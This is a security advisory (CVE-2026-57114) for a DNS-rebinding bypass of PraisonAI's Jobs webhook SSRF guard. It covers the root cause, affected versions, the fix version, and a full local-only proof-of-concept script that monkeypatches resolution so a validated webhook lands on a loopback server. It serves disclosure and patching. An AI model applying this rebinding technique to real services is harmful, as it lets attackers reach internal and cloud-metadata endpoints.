Advisory

PYSEC-2026-3519

Also known as: CVE-2026-57114, GHSA-rjvw-7vvw-549v

Summary

PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding

Details

Jobs webhook SSRF protection bypass via DNS rebinding

Summary

PraisonAI's Async Jobs API validates webhook_url when a job request is parsed
and again when the internal Job object is constructed. That validation blocks
direct loopback/private targets, but it is not bound to the later network
request. When a job completes, _send_webhook() passes the original hostname to
httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded
transport.

An attacker-controlled hostname can therefore resolve to a public IP during
Pydantic validation and later resolve to loopback/private/cloud-metadata
infrastructure during webhook delivery. This bypasses the intended SSRF guard in
current supported releases.

This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm
("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer
to maintainers on whether this should be a new advisory/CVE or an amendment to
the prior advisory, but current supported releases still appear affected.

Affected Component

Package:

praisonai

Files:

src/praisonai/praisonai/jobs/models.py
src/praisonai/praisonai/jobs/executor.py
src/praisonai/praisonai/jobs/router.py

Relevant code paths:

JobSubmitRequest.validate_webhook_url()
Job.validate_webhook_url()
JobExecutor._send_webhook()
POST /api/v1/runs

Affected Versions

Validated affected:

  • v4.5.126 (f00763937bf7f4d091e84533692fc0576fca9b99);
  • v4.5.128 (b4e3a8a8);
  • v4.6.56 (d3c4a2af);
  • v4.6.57 (e90d92231853161ad931f3498da57651a9f8b528);
  • current main (2f9677abb2ea68eab864ee8b6a828fd0141612e1, v4.6.57-4-g2f9677ab).

Suggested affected range for maintainer confirmation:

>= 4.5.126, <= 4.6.57

No patched version is known to me at submission time.

v4.5.124 and earlier are covered by the older unvalidated-webhook advisory.
This report is scoped to patched-era releases where direct loopback/private
webhook URLs are rejected but DNS rebinding still bypasses the guard.

Root Cause

Current validation is a time-of-check/time-of-use boundary:

  1. JobSubmitRequest.webhook_url is validated with urlparse() and socket.gethostbyname().
  2. The resolved address is rejected when it is private, loopback, link-local, or multicast.
  3. The original URL string is stored on the Job.
  4. After job completion, _send_webhook() creates a fresh httpx.AsyncClient and POSTs to the original URL.
  5. httpx resolves the hostname again. There is no revalidation of the address that is actually connected to.

The first DNS answer is therefore trusted for a later, independent DNS lookup.
An attacker who controls DNS for the webhook hostname can return a public
address during validation and an internal address during delivery.

Local Reproduction

The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver
behavior in-process, and uses the real PraisonAI Job validator plus
JobExecutor._send_webhook() sender.

Run from a PraisonAI checkout:

env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py

Observed output on current main:

DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true}
ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook
INTERNAL_SERVER_HIT: true
INTERNAL_REQUEST_HOST: rebind.test:<port>
INTERNAL_REQUEST_PATH: /hook
WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status
WEBHOOK_PAYLOAD_STATUS: succeeded
PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding

The direct control proves that the current guard is meant to reject loopback
webhook destinations. The rebind case proves the same blocked destination class
is reached when the hostname changes between validation and delivery.

Full Local PoV Script

#!/usr/bin/env python3
"""Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.

The PoV uses only loopback services. It models an attacker-controlled hostname
that resolves to a public IP during PraisonAI's Pydantic validation, then
resolves to loopback when the async webhook sender later opens the connection.
"""

from __future__ import annotations

import asyncio
import json
import queue
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any

from praisonai.jobs.executor import JobExecutor
from praisonai.jobs.models import Job, JobSubmitRequest


ATTACKER_HOST = "rebind.test"
PUBLIC_IP = "93.184.216.34"


class InternalHandler(BaseHTTPRequestHandler):
    def do_POST(self) -> None:  # noqa: N802
        length = int(self.headers.get("content-length", "0"))
        body = self.rfile.read(length)
        self.server.received.put(  # type: ignore[attr-defined]
            {
                "path": self.path,
                "host": self.headers.get("host"),
                "body": body.decode("utf-8", "replace"),
            }
        )
        self.send_response(204)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def assert_direct_loopback_blocked(port: int) -> None:
    blocked = {}
    direct_url = f"http://127.0.0.1:{port}/hook"
    for model in (JobSubmitRequest, Job):
        try:
            model(prompt="x", webhook_url=direct_url)
            blocked[model.__name__] = False
        except Exception:
            blocked[model.__name__] = True

    print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True))
    if not all(blocked.values()):
        raise SystemExit("control failed: direct loopback webhook URL was accepted")


def build_validated_job(port: int) -> Job:
    original_gethostbyname = socket.gethostbyname

    def validation_gethostbyname(host: str) -> str:
        if host == ATTACKER_HOST:
            return PUBLIC_IP
        return original_gethostbyname(host)

    socket.gethostbyname = validation_gethostbyname
    try:
        webhook_url = f"http://{ATTACKER_HOST}:{port}/hook"
        request = JobSubmitRequest(prompt="x", webhook_url=webhook_url)
        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)
        job.succeed({"pov": "job result sent to webhook"})
        return job
    finally:
        socket.gethostbyname = original_gethostbyname


async def send_after_rebind(job: Job, port: int) -> None:
    original_getaddrinfo = socket.getaddrinfo

    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):
        normalized_host = host.decode() if isinstance(host, bytes) else host
        if normalized_host == ATTACKER_HOST:
            return [
                (
                    socket.AF_INET,
                    socket.SOCK_STREAM,
                    socket.IPPROTO_TCP,
                    "",
                    ("127.0.0.1", port_arg),
                )
            ]
        return original_getaddrinfo(host, port_arg, *args, **kwargs)

    socket.getaddrinfo = send_getaddrinfo
    try:
        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]
    finally:
        socket.getaddrinfo = original_getaddrinfo


def main() -> int:
    received: queue.Queue[dict[str, str]] = queue.Queue()
    server = HTTPServer(("127.0.0.1", 0), InternalHandler)
    server.received = received  # type: ignore[attr-defined]
    port = int(server.server_port)
    thread = threading.Thread(target=server.handle_request, daemon=True)
    thread.start()

    try:
        assert_direct_loopback_blocked(port)
        job = build_validated_job(port)
        print("ACCEPTED_WEBHOOK_URL:", job.webhook_url)
        asyncio.run(send_after_rebind(job, port))
    finally:
        server.server_close()

    try:
        hit = received.get_nowait()
    except queue.Empty:
        raise SystemExit("bypass failed: loopback-only webhook receiver was not hit")

    payload = json.loads(hit["body"])
    print("INTERNAL_SERVER_HIT: true")
    print("INTERNAL_REQUEST_HOST:", hit["host"])
    print("INTERNAL_REQUEST_PATH:", hit["path"])
    print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload)))
    print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status"))

    if hit["host"] != f"{ATTACKER_HOST}:{port}":
        raise SystemExit("unexpected host header")
    if payload.get("status") != "succeeded":
        raise SystemExit("unexpected webhook payload")

    print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Severity

High Basis: CVSS v3 score 7.2, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Dates

Published
2026-07-23 11:41 UTC
Modified
2026-07-23 15:00 UTC

Affected packages and fixes

praisonai

PyPI · All systems

Affected

  • introduced 4.5.126, fixed 4.6.59 (ecosystem)

Fixed versions

4.6.59

Fix

  • Fixed version 4.6.59
    pip install --upgrade praisonai==4.6.59

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: PyPA Advisory Database · CC BY 4.0

Sources & licences